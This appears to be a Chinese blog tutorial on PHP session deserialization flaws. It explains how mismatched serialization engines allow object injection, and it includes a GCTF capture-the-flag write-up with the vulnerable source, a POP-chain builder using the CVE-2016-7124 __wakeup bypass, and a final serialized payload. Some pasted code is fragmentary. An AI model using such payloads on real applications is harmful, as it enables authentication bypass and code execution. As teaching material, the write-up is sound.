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PHP的session反序列化漏洞详解

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*文原创
2018-01-03 14:10:022214浏览

本文主要介绍了PHP的session反序列化漏洞问题，需要的朋友可以参考下。希望对大家有所帮助。

在php.ini中存在三项配置项：

session.save_path=""  --设置session的存储路径
session.save_handler="" --设定用户自定义存储函数，如果想使用PHP内置会话存储机制之外的可以使用本函数(数据库等方式)
session.auto_start  boolen --指定会话模块是否在请求开始时启动一个会话,默认为0不启动
session.serialize_handler  string --定义用来序列化/反序列化的处理器名字。默认使用php

以上的选项就是与PHP中的Session存储和序列话存储有关的选项。

在使用xampp组件安装中，上述的配置项的设置如下：

session.save_path="D:\xampp\tmp"  表明所有的session文件都是存储在xampp/tmp下
session.save_handler=files     表明session是以文件的方式来进行存储的
session.auto_start=0        表明默认不启动session
session.serialize_handler=php    表明session的默认序列话引擎使用的是php序列话引擎

 在上述的配置中，session.serialize_handler是用来设置session的序列话引擎的，除了默认的PHP引擎之外，还存在其他引擎，不同的引擎所对应的session的存储方式不相同。

php_binary:存储方式是，键名的长度对应的ASCII字符+键名+经过serialize()函数序列化处理的值

php:存储方式是，键名+竖线+经过serialize()函数序列处理的值

php_serialize(php>5.5.4):存储方式是，经过serialize()函数序列化处理的值 

在PHP中默认使用的是PHP引擎，如果要修改为其他的引擎，只需要添加代码ini_set('session.serialize_handler', '需要设置的引擎');。示例代码如下：

session 的目录在 /var/lib/php/sessions 中

<?php
ini_set(&#39;session.serialize_handler&#39;, &#39;php_serialize&#39;);
session_start();
$_SESSION[&#39;name&#39;] = &#39;spoock&#39;;
var_dump($_SESSION);

在 php_serialize 引擎下，session文件中存储的数据为:

a:1:{s:4:"name";s:6:"spoock";}

php 引擎下文件内容为:

name|s:6:"spoock";

php_binary 引擎下文件内容为:

names:6:"spoock";

由于name的长度是4，4在ASCII表中对应的就是EOT。根据php_binary的存储规则，最后就是names:6:"spoock";。(突然发现ASCII的值为4的字符无法在网页上面显示，这个大家自行去查ASCII表吧)

PHP Session中的序列化危害

PHP中的Session的实现是没有的问题，危害主要是由于程序员的Session使用不当而引起的。

如果在PHP在反序列化存储的$_SESSION数据时使用的引擎和序列化使用的引擎不一样，会导致数据无法正确第反序列化。通过精心构造的数据包，就可以绕过程序的验证或者是执行一些系统的方法。例如:

$_SESSION[&#39;ryat&#39;] = &#39;|O:1:"A":1:{s:1:"a";s:2:"xx";}&#39;;

php文件如:

访问后得到session文件中的内容如下：
root/var/lib/php/sessions cat sess_e07gghbkcm0etit02bkjlbhac6 
a:1:{s:4:"ryat";s:30:"|O:1:"A":1:{s:1:"a";s:2:"xx";}
但此时模拟在其他页面使用不同的php引擎来读取时的内容如下：(默认使用php引擎读取session文件)
a;
  }
}
// var_dump($_SESSION);
访问该页面输出xx
xxarray(1) {
 ["a:1:{s:4:"ryat";s:30:""]=>
 object(A)#1 (1) {
  ["a"]=>
  string(2) "xx"
 }
}
这是因为当使用php引擎的时候，php引擎会以|作为作为key和value的分隔符，那么就会将 a:1:{s:4:"ryat";s:30:" 作为SESSION的key，将 O:1:"A":1:{s:1:"a";s:2:"xx";} 作为value，然后进行反序列化，最后就会得到A这个类。


这种由于序列话化和反序列化所使用的不一样的引擎就是造成PHP Session序列话漏洞的原因。漏洞在加载使用php引擎的页面时session去读session中的内容并反序列化导致漏洞触发，不需要任何输出


GCTF上的一道session反序列化漏洞分析:


index.php中内容为:
<?php
//error_reporting(E_ERROR & ~E_NOTICE);
ini_set(&#39;session.serialize_handler&#39;, &#39;php_serialize&#39;);
header("content-type;text/html;charset=utf-8");
session_start();
if(isset($_GET[&#39;src&#39;])){
  $_SESSION[&#39;src&#39;] = $_GET[&#39;src&#39;];
  highlight_file(__FILE__);
  print_r($_SESSION[&#39;src&#39;]);
}
?>
<!DOCTYPE HTML>
<html>
 <head>
  <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
 <title>代码审计2</title>
 </head>
 <body>
 在php中，经常会使用序列化操作来存取数据，但是在序列化的过程中如果处理不当会带来一些安全隐患。
<form action="./query.php" method="POST">    
<input type="text" name="ticket" />        
<input type="submit" />
</form>
<a href="./?src=1">查看源码</a>
</body>
</html>
query.php 中的内容为:
/************************/
/*
//query.php 部分代码
session_start();
header(&#39;Look me: edit by vim ~0~&#39;)
//......
class TOPA{
  public $token;
  public $ticket;
  public $username;
  public $password;
  function login(){
    //if($this->username == $USERNAME && $this->password == $PASSWORD){ //抱歉
    $this->username ==&#39;aaaaaaaaaaaaaaaaa&#39; && $this->password == &#39;bbbbbbbbbbbbbbbbbb&#39;){
      return &#39;key is:{&#39;.$this->token.&#39;}&#39;;
    }
  }
}
class TOPB{
  public $obj;
  public $attr;
  function __construct(){
    $this->attr = null;
    $this->obj = null;
  }
  function __toString(){
    $this->obj = unserialize($this->attr);
    $this->obj->token = $FLAG;
    if($this->obj->token === $this->obj->ticket){
      return (string)$this->obj;
    }
  }
}
class TOPC{
  public $obj;
  public $attr;
  function __wakeup(){
    $this->attr = null;
    $this->obj = null;
  }
  function __destruct(){
    echo $this->attr;
  }
}
*/
思路如下:


这题中我们构造一个TOPC，在析构的时候则会调用echo $this->attr;；


将attr赋值为TOPB对象，在echo TOPB的时候会自动调用__tostring魔术方法


在__tostring中会调用unserialize($this->attr),因为后面用到token和ticket，所以显然时TOPA对象。后面判断需要$this->obj->token === $this->obj->ticket,所以在序列化的时候进行指针引用使$a->ticket = &$a->token;，即可绕过判断。


至于为什么(string)$this->obj会输出flag，后台写的login可能是__tostring吧。


其中反序列化字符串中会有一个__wakeup()函数清空里面的参数，我问可以通过一个cve来绕过：CVE-2016-7124。将Object中表示数量的字段改成比实际字段大的值即可绕过wakeup函数。


最后的代码为:
$testa = new TOPA();
$testc = new TOPC();
$testb = new TOPB();
$testa->username = 0;
$testa->password = 0;
$testa->ticket = &$testa->token;
$sa = serialize($testa);
$testc->attr = $testb;
$testb->attr = $sa;
$test = serialize($testc);
echo $test;
最终payload为:
|O:4:"TOPC":3:{s:3:"obj";N;s:4:"attr";O:4:"TOPB":2:{s:3:"obj";N;s:4:"attr";s:84:"O:4:"TOPA":4:{s:5:"token";N;s:6:"ticket";R:2;s:8:"username";i:0;s:8:"password";i:0;}";}}
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